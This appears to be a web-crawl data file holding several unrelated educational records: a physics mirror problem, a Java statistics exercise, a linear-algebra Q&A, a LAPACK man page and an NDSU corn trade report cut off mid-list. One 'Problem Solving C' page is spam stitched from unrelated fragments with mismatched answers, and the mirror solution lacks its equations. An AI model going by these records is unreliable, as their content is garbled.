https://philoid.com/question/134102-a-small-block-of-mass-m-and-a-concave-mirror-of-radius-r-fitted-with-a-stand-lie-on-a-smooth-horizontal-table-with-a-separation- | 1,723,265,715,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640789586.56/warc/CC-MAIN-20240810030800-20240810060800-00502.warc.gz | 368,523,825 | 9,118 | A small block of mass m and a concave mirror of radius R fitted with a stand lie on a smooth horizontal table with a separation d between them. The mirror together with its stand has a mass m. The block is pushed at t=0 towards the mirror so that it starts moving towards the mirror at a constant speed V and collides with it. The collision is perfectly elastic. Find the velocity of the image (a) at a time t<d/V, (b) at a time t>d/V.
At time t, the object distance from
mirror, u= -(d-Vt)
Here, t < d/V, and focal length f= -R/2
By using mirror formula,
Now, differentiating w.r.t ‘t’
This is the required speed of mirror.
(b) when t> d/v, the collision between the mirror and mass will take place. Since, the collision is elastic in nature, the object will come to rest and mirror will start to move with velocity V
the object distance from mirror, u= (d-Vt)
focal length, f= -R/2
At any time, t > d/v
The distance of mirror from the mass will be
By using mirror formula,
Velocity of the image, V’ is
If, y= d-Vt
dy/dt= -V
velocity of the image,
Since, the mirror itself moving with velocity V,
Thus, V= V(image) + V(mirror)
Absolute velocity of image is given by
1 | 315 | 1,188 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.703125 | 4 | CC-MAIN-2024-33 | latest | en | 0.889473 |
https://sellfy.com/p/YQjj/ | 1,524,263,589,000,000,000 | text/html | crawl-data/CC-MAIN-2018-17/segments/1524125944742.25/warc/CC-MAIN-20180420213743-20180420233743-00369.warc.gz | 706,505,249 | 7,139 | # StatCalc solution
The following class StatCalc defines a series of methods for computing statistics for a group of numbers.
/*
* An object of class StatCalc can be used to compute several simple statistics
* for a set of numbers. Numbers are entered into the dataset using
* the enter(double) method. Methods are provided to return the following
* statistics for the set of numbers that have been entered: The number
* of items, the sum of the items, the average, and the standard deviation
*/
public class StatCalc {
private int count; // Number of numbers that have been entered.
private double sum; // The sum of all the items that have been entered.
private double squareSum; // The sum of the squares of all the items.
/**
* Add a number to the dataset. The statistics will be computed for all
* the numbers that have been added to the dataset using this method.
*/
public void enter(double num) {
count++;
sum += num;
squareSum += num*num;
}
/**
* Return the number of items that have been entered into the dataset.
*/
public int getCount() {
return count;
}
/**
* Return the sum of all the numbers that have been entered.
*/
public double getSum() {
return sum;
}
/**
* Return the average of all the items that have been entered.
* The return value is Double.NaN if no numbers have been entered.
*/
public double getMean() {
return sum / count;
}
/**
* Return the standard deviation of all the items that have been entered.
* The return value is Double.NaN if no numbers have been entered.
*/
public double getStandardDeviation() {
double mean = getMean();
return Math.sqrt( squareSum/count - mean*mean );
} // end class StatCalc
Using the StatCalc class, write a program that calculates and then displays as output to the console, the following statistics against the set of numbers given below.
Statistics that must be calculated:
Count – Quantity of numbers in the data set.
Mean – The mean or average of the numbers in the data set.
Standard Deviation – The measure of variance (or dispersion) from the mean.
The set of numbers that you must use is as follows:
5 7 12 23 3 2 8 14 10 5 9 13
You must create a program with a main method that defines the StatCalc class and instantiates an instance of StatCalc called myStatCalc. Your program should instantiate the instance of the StatCalc using a statement similar to the following:
StatCalc myStatCalc;
myStatCalc = new StatCalc(); | 535 | 2,449 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.359375 | 3 | CC-MAIN-2018-17 | latest | en | 0.832434 |
https://zhivoe-slovo.ru/problem-solving-c-407.html | 1,618,144,328,000,000,000 | text/html | crawl-data/CC-MAIN-2021-17/segments/1618038062492.5/warc/CC-MAIN-20210411115126-20210411145126-00584.warc.gz | 1,238,513,577 | 10,072 | # Problem Solving C
Some multiprocessor computers have multiple CPU chips or a multi-core processor (a single chip containing multiple CPUs).These computers are capable of faster speeds because they can process different sets of instructions at the same time.”“Most personal computers use two types of disk drives as their secondary storage devices-hard drives and optical drives. 300 Answer: A Answer Explanation: Since the population increases at the rate of 1 person every 15 seconds, it increases by 4 people every 60 seconds, that is, by 4 people every minute.
Therefore, the number of fellows is 9,209/75,077 of the total membership, or approximately 12 percent. If the regular price per can is discounted 15 percent when the soda is purchased in 24-can cases, what is the price of 72 cans of this brand of soda purchased in 24-can cases?
35% Answer: B Answer Explanation: From the table, the number of fellows is 9,209, and the total membership is the sum of the 5 numbers, which is 75,077. The regular price per can of a certain brand of soda is \$0.40.
Approximately what percent less did Jane save in 1990 than in 1989?
In 1990 Dick saved 8 percent more than in 1989, and together he and Jane saved a total of \$5,000.
Great example text blocks to use and run within your own compiler, and is a wholistic type of learning experience for how computers both read code and function from them.
I enjoyed this textbook for my class, it was especially helpful to find there was an international version of the text at discount -After jumping around the chapters a bit, I decided that there's not much value in me learning about the syntax of C at this point in my programming self-education, and the logical concepts introduced here are things I already know.
With solutions developed using the language C, it presents four exercises to develop problem-solving skills - Practice! problems, Short-Answer problems, and Programming problems.
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• ###### Must solve C programming questions Most asked C.
Here are 150+ must solve C programming questions for freshers. These are the most asked c programs by top companies during their coding round. c programming questions problem solving approach. Discussion Forum · Home · Courses.… | 827 | 3,827 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.34375 | 3 | CC-MAIN-2021-17 | longest | en | 0.949383 |
http://math.stackexchange.com/questions/135207/find-non-trivial-solution-and-then-find-all-solutions | 1,469,477,894,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257824345.69/warc/CC-MAIN-20160723071024-00167-ip-10-185-27-174.ec2.internal.warc.gz | 151,307,850 | 18,166 | # Find non-trivial solution and then find all solutions
Find the value of b for which the following system has a non-trivial solution and find all the solutions in this case
$$2x + 6z = 0$$ $$4x + y + bz = 0$$ $$y - z = 0$$
I put this in a matrix and row reduced and got
$\begin{bmatrix}2 & 0 & 6 \\ 0 & 1 & b-12 \\ 0 & 0 & -b+11\end{bmatrix}$
So this has a non-trivial solution when b = 11.
Now what is the way to find all solutions?
Edit:
Had a 6 instead of a b in the second row, third column of the original matrix.
-
What is $b$? I don't see it anywhere in the equations... – dtldarek Apr 22 '12 at 10:57
When Im asked to find all the solutions, isn't this asking 'what is the columnspace of the matrix'? And in this case of the matrix above, when b = 11 we have all zeros on the last row - so the columnspace is the span of the first two vectors in the original matrix? – Jim_CS Apr 22 '12 at 12:18
Nevermind the previous comment, I mixed up columnspace when I saw the words 'all solutions'. – Jim_CS Apr 22 '12 at 12:29
Let your system be (assuming b=11, whatever b is): $$\begin{bmatrix}2 & 0 & 6 \\ 0 & 1 & -1 \\ 0 & 0 & 0\end{bmatrix}\cdot\begin{bmatrix}x \\ y \\ z \end{bmatrix}=\begin{bmatrix}0 \\ 0 \\ 0 \end{bmatrix}$$then, by multiplication you get: $$2x+6z=0 \ and \ y-z=0$$Transforming this system of equations you get: $$x=-3z \ and \ y=z$$ The general solution of this system is the vector $\mathbf{x}$, given by: $$\mathbf{x}=\begin{bmatrix}x \\ y \\ z \end{bmatrix}=\begin{bmatrix}-3z \\ z \\ z \end{bmatrix}=\begin{bmatrix}-3 \\ 1 \\ 1 \end{bmatrix}\cdot z$$Therefore, the solutions to this system are infinite, but all of them are vectors parallel to the vector $$\begin{bmatrix}-3 \\ 1 \\ 1 \end{bmatrix}$$and their length is $|z|$ times the length of the vector above.
The span of the vector (-3,1,1) are all the vectors parallel to this one since $span(\vec{u})=c_1 \cdot \vec{u}$. So it's actually the same thing. You're wrong about the columnspace. The columnspace is $span(A\cdot x)$ , where x all vectors in $R^N$. What you're looking for here is the Nullspace, which has dimension 1 (nullity=number of zero rows in row-echelon form) – chemeng Apr 22 '12 at 12:37 | 709 | 2,203 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.5 | 4 | CC-MAIN-2016-30 | latest | en | 0.795071 |
https://meraskill.com/ca-foundation/maths/permutation-and-combination | 1,708,660,177,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474360.86/warc/CC-MAIN-20240223021632-20240223051632-00563.warc.gz | 399,665,597 | 4,093 | # CA foundation Maths Permutation and Combination
## The free CA Foundation Maths video on Permutation and Combination cover following topics:
Basic of Permutation & Combination
Overview
Index of Permutation & Combination
What is Permutation & Combination
Permutation vs. Combination
Test of Permutation & Combination
Factorial Operation
Formulae of Permutation
Formulae of Combination
Permutation is Permutation & Combination
3 ways of doing same problem
Rule of Counting
Summary of Basics of Permutation & Combination
Permutation
Index
Equation Problem
Permutation Problem
Always together problem
Never together problem
Circular Arrangement
Circular Arrangement Always together
Circular Arrangement Never together
Exclude them
Include them
Arrangement with repetition
Number problem
Necklace Problem
Summary Permutation
Combination
Index
Combination Formulae
Combination Problem
Concept Always Include and Exclude
Problems Always Include and Exclude
Maximum Selection
Selection with repetition
Special case n items with r possibilities
Properties Formulae
Properties Example1
Properties Example2
Summary
Uncommon Problem
Uncommon Problem1
Uncommon Problem2
Conclusion | 237 | 1,171 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.09375 | 3 | CC-MAIN-2024-10 | latest | en | 0.714762 |
https://www.mankier.com/3/ssvdct.f | 1,726,218,425,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651510.65/warc/CC-MAIN-20240913070112-20240913100112-00033.warc.gz | 828,296,352 | 3,024 | # ssvdct.f - Man Page
TESTING/EIG/ssvdct.f
## Synopsis
### Functions/Subroutines
subroutine ssvdct (n, s, e, shift, num)
SSVDCT
## Function/Subroutine Documentation
### subroutine ssvdct (integer n, real, dimension( * ) s, real, dimension( * ) e, real shift, integer num)
SSVDCT
Purpose:
``` SSVDCT counts the number NUM of eigenvalues of a 2*N by 2*N
tridiagonal matrix T which are less than or equal to SHIFT. T is
formed by putting zeros on the diagonal and making the off-diagonals
equal to S(1), E(1), S(2), E(2), ... , E(N-1), S(N). If SHIFT is
positive, NUM is equal to N plus the number of singular values of a
bidiagonal matrix B less than or equal to SHIFT. Here B has diagonal
entries S(1), ..., S(N) and superdiagonal entries E(1), ... E(N-1).
If SHIFT is negative, NUM is equal to the number of singular values
of B greater than or equal to -SHIFT.
See W. Kahan 'Accurate Eigenvalues of a Symmetric Tridiagonal
Matrix', Report CS41, Computer Science Dept., Stanford University,
July 21, 1966```
Parameters
N
``` N is INTEGER
The dimension of the bidiagonal matrix B.```
S
``` S is REAL array, dimension (N)
The diagonal entries of the bidiagonal matrix B.```
E
``` E is REAL array of dimension (N-1)
The superdiagonal entries of the bidiagonal matrix B.```
SHIFT
``` SHIFT is REAL
The shift, used as described under Purpose.```
NUM
``` NUM is INTEGER
The number of eigenvalues of T less than or equal to SHIFT.```
Author
Univ. of Tennessee
Univ. of California Berkeley
Univ. of Colorado Denver
NAG Ltd.
Definition at line 86 of file ssvdct.f.
## Author
Generated automatically by Doxygen for LAPACK from the source code.
## Referenced By
The man page ssvdct(3) is an alias of ssvdct.f(3).
Tue Nov 28 2023 12:08:42 Version 3.12.0 LAPACK | 526 | 1,826 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.859375 | 3 | CC-MAIN-2024-38 | latest | en | 0.790286 |
https://www.ag.ndsu.edu/publications/farm-economics-management/corn-trade-report-trend-and-risk-analysis/ | 1,632,739,438,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780058415.93/warc/CC-MAIN-20210927090448-20210927120448-00566.warc.gz | 639,085,560 | 27,975 | # Corn Trade Report: Trend and Risk Analysis (EC1993, Dec. 2020)
Trends and the descriptive statistics are useful to producers in identifying variations in demand for corn and its products. For decision makers, this information is helpful in the development of risk management tools for potential export losses due to risky events like politically driven tariffs and uncertain events.
Saleem Shaik, Professor and Director
Kwame Asiam Addey, Ph.D. Candidate; Kekoura Sakouvogui, Ph.D.
Availability: Web only
Center for Agricultural Policy and Trade Studies
North Dakota State University
Fargo, N.D., 58108
## Acknowledgments
The authors express their gratitude to the North Dakota Corn Utilization Council and North Dakota Corn Growers’ Association for their support, suggestions, comments and several days of discussion during the project. Thanks to Ellen Crawford for editorial changes, Deb Tanner for formatting and NDSU Extension publication team. All views expressed in this publication are those of the authors and do not reflect the opinions and interest of the supporting organizations or NDSU.
## Glossary
Average/mean - This is the sum of a collection of numbers divided by the count of numbers in the collection.
For past historical data as in this report, this gives an idea of what the producer or decision maker should expect.
BWC - Corn bran, waste and cakes.
Coefficient of variation - This is also known as the relative standard deviation. It is a statistical measure of the dispersion of data points around the mean. While it performs a similar function to the standard deviation, it is advantageous because it can be used to compare dispersion of data between distinct series of data. Furthermore, it is a unitless measure. Generally, a decision maker seeks a lower value because it provides an optimal risk-to-reward ratio with low volatility but high returns.
Descriptive statistics - These are brief descriptive coefficients that summarize given data sets. These are classified into the measures of central tendency (mean/average) and measures of variability (minimum, variance/standard deviation and maximum variables).
Ex-ante - These are inferences based on forecasts.
Export - Goods or services that are sent out of a specific geographical location to another spatially demarcated jurisdiction. This is represented as nominal dollars.
Ex-post These are inferences based on actual results.
GF - Glucose and fructose
GHS - Groats, hull and starch
Harmonized system code - Commonly represented as harmonized system (HS) code. This is a standardized numerical method of classifying traded products. Primarily, it is used by customs authorities around the world to identify products when assessing duties/taxes and for collecting data for statistical analysis.
Import - Goods or services that are brought into a specific geographical location from another spatially demarcated jurisdiction. This is represented as nominal dollars.
Net farm income - Net farm income refers to the return to farm operators for their labor, management and capital after all production expenses have been paid. This is the gross farm income minus production expenses.
Period - A period is defined as a five-year interval in this report.
Prices - Price is computed as the ratio of export value and quantity. This is represented as nominal dollars per metric ton (\$/MT).
Production efficiency - Production efficiency is concerned with producing goods and services with the optimal combination of inputs to produce maximum output for the minimum cost.
Production - Quantity of commodity produced. This is measured as bushels for both commodities (corn and soybeans).
Productivity - Productivity is the measure of output from a production process per unit of input.
Risk - A risk is the possibility of loss or gain of an event with known probabilities.
Shares - Representative proportion of the total of a variable/indicator.
Standard deviation - This is a quantification of the amount of variation or dispersion of a set of data values. This is most often a complementary information to the mean. Given any mean, there are chances of gain or a loss. Hence, knowing the possible variation can allow the decision maker or producer to plan with bounds.
Trade - This is basically computed as the sum of imports and exports. However, in this report, trade is used generically to represent either imports or exports.
Trend - A general course or prevailing tendency to take a particular direction or move in some indicated direction. In this report, the trend defines the direction of growth of the respective variable.
Uncertainty - Uncertainty refers to the occurrence of an event for which probabilities cannot be assigned.
## Executive Summary
This report presents organized and structured information on corn trade indicators across geographical space and through time. The indicators considered are exports, imports and prices. These also are presented at the byproduct level. The levels of aggregation are global, U.S. and North Dakota.
The information is presented in the form of trends and descriptive statistics. The former reveals the direction of the growth, while the latter reveals the magnitude of expectations. The descriptive statistics are represented by the mean, standard deviation, coefficient of variation and share contribution to the total.
The report is presented in six sections: (I) global temporal corn trade, (II) global spatial corn export, (III) global spatial corn import, (IV) U.S. temporal corn export, (V) U.S. spatial corn export and (VI) U.S. state level corn export. At the global level, the trends of the indicators are presented in addition to the descriptive statistics of the top 15 exporting and importing countries. The trends and descriptive statistics for the top 15 exporting states also are provided at the U.S. level.
This report is important because it serves as an informational guide on exports, our competitors for exports and potential markets for corn to our producers. In the current environment, the success (productivity and net farm income stability) of agricultural business depends on the accurate prediction of potential demand for corn and their products to help producers in making decisions for domestic or foreign markets. Hence, having a comprehensive and accurate database on exports and imports at the global, national and state levels will enable producers in decision-making with confidence.
To formulate trade policies related to the international market, the trends and the descriptive statistics are useful to producers in identifying variations in demand for corn and their products. For decision makers, this information is helpful in the development of risk management tools for potential export losses due to risky events such as politically driven tariffs and uncertain events such as COVID-19. Finally, in the years of decline, identifying sources of variation or risk in changing consumer preferences, genetically modified restrictive index, trade facilitation and prosperity indexes is important. The study reveals that:
• Despite having an increasing trend, the proportion of corn grain relative to processed products has decreased through time.
• Corn grain, ethyl alcohol, corn meals (bran, residues, waste and cake) are the major traded corn products.
• Brazil, Argentina, Uruguay and France are the major competitors of the U.S. in global corn markets.
• Japan, Mexico, South Korea, Egypt and Spain are the major destinations for corn grain.
• Global corn prices have been on the decline in recent years.
• Mexico, Japan, South Korea, Colombia and Peru are the major destinations for U.S. corn grains.
• Italy, Iran, Netherlands, Malaysia, Algeria and Germany are among the top 15 importers but not part of the top 15 U.S. export destinations.
• The U.S, Department of Agriculture (USDA) Foreign Agricultural Service (FAS) under- and overestimates state exports because they are based on the location of the port.
• Our production-adjusted state exports estimates suggest the major exporters of corn are Illinois, Iowa, Minnesota, Indiana, Nebraska, Ohio, Missouri, South Dakota, North Dakota and Kansas.
• North Dakota corn exports are underestimated by the USDA FAS.For instance, the production adjusted export value predicts a value of \$652,594,412 in 2018, while the FAS method presents a value of \$134,183,209. On the other hand, the ERS method predicted \$337,701,587, which is two times less than the production adjusted estimate.
### Future Research
Exports are particularly important for every economy. In the case of North Dakota, where production mostly exceeds domestic consumption, the need to explore foreign market potentials is essential. From this report, we can observe that the current trends of corn trade for North Dakota have been increasing. We must not only evaluate the determinants of North Dakota corn exports but also explore potential markets.
• The next stage of this research seeks to evaluate the efficiency of U.S. state agricultural exports and their determinants. Of particular interest are the impact of genetically modified restrictive index, tariffs and other transportation costs. The expected outcome of the estimation is to provide the requisite knowledge that will give North Dakota corn farmers a comparative advantage in the international markets, given that these variables have become very instrumental drivers of international trade in recent years.
• The second objective will be to examine the determinants of commodity price volatilities and their impact on North Dakota production and exports.
Center for Agricultural Policy and Trade Studies
The vision of the Center for Agricultural Policy and Trade Studies (CAPTS) is to enhance the sustainability of the net farm income of North Dakota producers through in-depth trade and agricultural policy research. After carefully considering stakeholder inputs, interests, risks and uncertainties, the concept of efficiency, technology assessment and productivity growth1 also are embedded into the center’s research.
To address this vision, the center aims to develop a “model of farm economy” to conduct ex-post and ex-ante evaluations for North Dakota. The model will evaluate agricultural and trade policies with its implications on North Dakota producers’ net farm income. Additionally, the implications of policy on North Dakota producers’ efficiency, technology assessment and productivity growth also will be evaluated.
The model of farm economy based on multiple theoretical frameworks will not only evaluate the implications of existing agricultural and trade policies (Title I, II, III and XI) but also future policies to meet efficiency, productivity and net farm income sustainability goals of North Dakota producers. Our perception of the challenges and the choices made at this juncture in history will determine how to protect farmers in our state and secure our future. The center keeps detailed records of all activities and publishes the information that will be of value to the clientele, including commodity groups and decision makers of the state and region.
Center and Current Project
The center, in collaboration with North Dakota Soybean and Corn councils, is evaluating measures of improving net farm income sustainability for producers in the state. The project is in three dimensions; these are the production indicator report, trade report and policy report.
The phase 1 outcomes of the project include detailed and comprehensive development of databases and the presentation of trends and risks in the production indicator, trade and policy reports. These reports are useful to the producers, commodity groups and decision makers.
Also, this information will form the basis for the development of the “model of farm economy” to evaluate the implications of agricultural and trade policies on North Dakota producers’ net farm income. Additionally, the implications of technology and policies on North Dakota producers’ efficiency and productivity growth will be evaluated.
## About the North Dakota Corn Utilization Council
The North Dakota Corn Utilization Council (NDCUC) was established in 1991 by the North Dakota Legislature to administer the state corn checkoff. The checkoff is one-fourth of 1% of the value of corn sold at elevators and processing facilities in North Dakota.
The NDCUC consists of a board of seven corn producers elected by their peers. North Dakota is divided into seven corn districts.
Each county within the district elects a county representative. County representatives elect a district representative to serve on the council. Council members are responsible for the investment of corn checkoff in programs to solve production problems, create new market opportunities, provide educational programming and promotion of the corn industry domestically and internationally.
Corn production in North Dakota has grown significantly since the late 1990s because genetic advancements have led to hybrids suitable for northern climates. Corn is one of the top three crops in North Dakota by acreage. Yield increases have made corn highly profitable during periods of price volatility.
Thanks to corn farmers’ investments in checkoff programming, production of renewable fuels has grown in North Dakota to create demand for approximately 50% of our bushels produced. Checkoff investments also are utilized to create market demand internationally. This has led to approximately 40% of the corn grown in North Dakota leaving the state by rail because it is destined to go to ports in the Pacific Northwest and shipped to buyers in Asia.
North Dakota’s corn processing facilities are a vital component of the state’s rural economy. Our five ethanol plants employ more than 230 workers in high-paying positions such as chemists, engineers, accountants and managers, as well as support staff. Each North Dakota ethanol plant is in a community with a population of less than 2,500 and contributes an average of 46 jobs to these rural communities.
The NDCUC works toward expanding new markets, invests in research to meet current and future needs of farmers, and works to ensure a profitable business climate for northern corn.
The NDCUC serves more than 6,000 corn farmers in North Dakota.
### Rationale for This Report
In recent years, discussions on global trade have become a delicate topic among world leaders. Each country seems to seek out its interest at the expense of others.
However, a theoretically established fact is that international trade is a positive-sum game rather than a zero-sum game for partner countries involved. What also is well known is that governments are more likely to form free trade areas if the benefits outweigh the costs.
The U.S. has been at the center of many of these trade disputes in recent times. This can be primarily attributed to its efficiency of production. The U.S. agricultural sector consistently has produced more than its domestic needs. Hence, international trade and food aid supplies have been the two major outlets for excess agricultural produce of the U.S.
Considering this, the recent turn of geopolitical events has been unfavorable for farmers in the U.S. To remedy this issue, we have the need to understand the factors that hinder or promote U.S. agricultural exports.
Several studies have been conducted on the determinants of U.S. agricultural exports. Meanwhile, crop production is spatially specialized in the U.S. For instance, the Midwestern states are the major producers of U.S. grains.
To formulate policies concerning current trade events, the understanding of the determinants of U.S. agricultural exports alone may not be sufficient. A need exists to dissect the determinants of state-level agricultural exports.
However, research on U.S. state-level agricultural exports is limited. This can be attributed to the nature of available data on U.S. state-level agricultural exports. The current data on state-level exports do not reflect the major producing states. This is because of the dual problem of the absence of ports of exit in these states and the USDA Foreign Agricultural Services method of reporting state-level exports based on the ports of exit rather than state of origin.
As part of its commitment to help mitigate the effects of these challenges faced by producers in North Dakota on the international markets, the CAPTS frequently performs research. This report is the output of a collaboration between the CAPTS and NDCUC with the aim of overcoming challenges of corn trade in North Dakota.
To evaluate the possible effects of these challenges and propose plausible solutions, we have a need for accurate and up-to-date data at different levels of aggregation. The objective of this study is to develop a statistical-based method to estimate the corn exports by the individual states within the U.S.
Obtaining this estimate will be useful to examine the actual determinants of corn exports at the state level. Knowing this can help Congress formulate policies with emphasis on states that are major producers of corn.
This report, as the first of a series of research in line with the collaborative objective, presents data on corn trade indicators. This trade report presents data on the following variables through time (temporal) and across geographical space (spatial):
• Export value
• Import value
• Price
### Why is This Report Important?
This report presents systematically aggregated trade information for corn producers. First, it is important because it contains details of exports and imports based on corn byproducts through time. This information reveals the shifting demand for these byproducts through time.
For U.S. corn producers, this information is relevant for them to identify major competitors and potential new markets. Identifying the competitors will aid in policy formulation to increase market dominance, while identifying new markets will help increase total market share (and subsequently revenue) through exploring these new destinations.
Secondly, the report presents information on corn prices during the period in addition to its statistical risk. The financial markets (prices) form the bedrock of profit maximization and income sustainability. These trends and statistical risks are important because they reveal the volatilities and possible losses or gains.
For North Dakota corn producers, this report presents a set of accurate state-level exports that eliminates the port bias problem. Typically, the demand for state production incentives can be boosted with higher historic exports.
However, under situations where the exports for certain states are underestimated due to the port bias problem, the representatives have difficulty in obtaining the necessary incentives for their producers. These accurate state-level exports can be used for negotiations by state representatives or commodity groups for incentives for corn producers in North Dakota.
### Data and Methods
The U.S. national and state-level exports and imports from the world and individual countries are available from the Global Agricultural Trade System (GATS), U.S. Department of Agriculture, Foreign Agricultural Service (USDA FAS). These trade data are presented at bulk and byproduct levels identified by their harmonized system (HS) codes. The corn trade data were obtained from this website at the byproduct level. The groups (with their HS codes) obtained are:
• Corn and seeds (100510 and 100590)
• Corn ethyl alcohol (220710 and 220720)
• Corn bran, residues, waste and cake (230210, 230310, 230330, 230670 and 230690)
• Corn flour, groats, hulled and starch (110220, 110313, 110423 and110812)
• Corn sugars; glucose and fructose (170240 and 170260)
• Corn crude and refined oil (151521 and 151529)
To compute the production-adjusted state-level exports, production data was obtained from the USDA National Agricultural Statistical Services (NASS). The Statistical Analysis System (SAS) software was used in the generation of tables and graphs. These are presented at::
• World (aggregate and countries)
• U.S. (aggregate and states)
The empirical framework for this report includes annual trends, five-year changes and summary statistics (mean, risk/deviations and coefficient of variation) and intensity of trade (market share) among countries and states. The results presented at various levels would help the corn producers not only evaluate their options for the present but also develop strategies for the future based on the market trends and risks.
• Annual trends: The annual trends of global exports, imports and prices of corn are presented in the report. The export and import values also are presented by trends for the top 15 countries. At the U.S. level, the trends of these indicators are presented for the whole country and top 15 states. At the North Dakota level, the trends are presented and compared for our computed production-adjusted exports, USDA FAS exports and ERS exports. Presenting these trends in the report will provide a framework to gauge the changes through time across countries and states. Furthermore, it will help reveal the extent of bias accumulation attributed to the current USDA FAS method of computing state exports. Knowing these trends can serve as a basis for estimating the volatilities and their sources. This can help forecast future possibilities vs. desired horizons for advance decision making.
• Five-year changes: This report further presents histograms of the five-year sums of the trade indicators at the various levels of aggregation and product group level. Having the indicators in five-year periods in the report will provide a framework to evaluate the increase/decrease or shifts across periods.
• Summary statistics: The summary statistics are provided for the various levels of aggregation for all the trade indicators enumerated. This will provide a framework to evaluate the magnitude of the variables using totals, averages, risks, coefficient of variation and intensity of the trade variables in the form of market share.
### Key Findings
Global Trend and Risk
Global corn export quantity and value increased steadily during the period (Figure 1). Between 2014 and 2018, whole grain corn, including seeds, accounted for 65.1% of the global export share of corn products. Ethyl alcohol accounted for 16.2% of the total export share in this period, while corn bran, residues and cake accounted for 10.7%. Corn flour, groats and starched represented 3.5% of the total exports, followed by corn sugars (glucose and fructose) with 2.4%.
The least component of corn exports for this period is corn crude oil and residue, with 2%. Figure 7 presents the global export share of corn byproducts from 2014 to 2018. The trends of export value, quantity and price for the six groups of byproducts are presented in Figures 8, 9 and 10.
The top 15 exporters of corn and seeds (export value share) based on the period between 2014 and 2018 are:
1. U.S. (35%)
2. Brazil (14.3%)
3. Argentina (12.6%)
4. Ukraine (10.3%)
5. France (5.89%)
6. Romania (3.12%)
7. Hungary (2.68%)
8. Russia (2.01%)
9. Serbia and Kosovo (1.23%)
10. India (1.07%)
11. Mexico (1.04%)
12. Paraguay (0.92%)
13. Bulgaria (0.87%)
14. Burma (0.82%)
15. South Africa (0.77%)
The trends of the export values for the top 15 countries are presented from Figure 11 to Figure 13. Figures 14 to 28 present trends for the top 15 exporters for the other byproducts. The details for the descriptive statistics can be found in the appendix.
The top 15 importers of corn grain (import value share) based on the period between 2014 and 2018 are:
1. Japan (11%)
2. Mexico (8.97%)
3. South Korea (7.05%)
4. Egypt (5.84%)
5. Spain (5.06%)
6. Vietnam (3.99%)
7. Italy (3.39%)
8. Iran (3.25%)
9. Colombia (3.13%)
10. Netherlands (3.06%)
11. Malaysia (2.65%)
12. Taiwan (2.34%)
13. Algeria (2.24%)
14. Saudi Arabia (2.23%)
15. Germany (2.06%)
The trends of the import values for the top 15 countries are presented from Figure 29 to Figure 31. Figures 32 to 46 present trends for the top 15 importers for the other byproducts. The details for the descriptive statistics can be found in the appendix.
U.S. States Trend and Risk
The trend of the share of U.S. corn exports relative to the world is presented in Figure 47. This figure shows that U.S. corn exports are diversified to include processed products. Important by products are corn residue, sugars and oils. The importance of ethyl alcohol continues to grow.
The top 15 U.S. export destinations are:
1. Mexico (12.6%)
2. Japan (11.3%)
3. South Korea (4.37%)
4. Colombia (4.02%)
5. Peru (2.15%)
6. Taiwan (2.10%)
8. Saudi Arabia (1.32%)
9. Egypt (1.17%)
10. Guatemala (0.80%)
11. Venezuela (0.69%)
12. Costa Rica (0.64%)
13. Dominican Republic (0.54%)
14. Vietnam (0.46%)
15. China (0.56%)
The trends of the import values for the top 15 U.S. export destination countries are presented from Figure 48 to 50. Figures 51 to 65 present trends for the top 15 U.S. exporting destinations for the other byproducts. The details for the descriptive statistics can be found in the appendix.
The production-adjusted export trends of the top 15 states are:
1. Illinois (14.6%)
2. Iowa (12.9%)
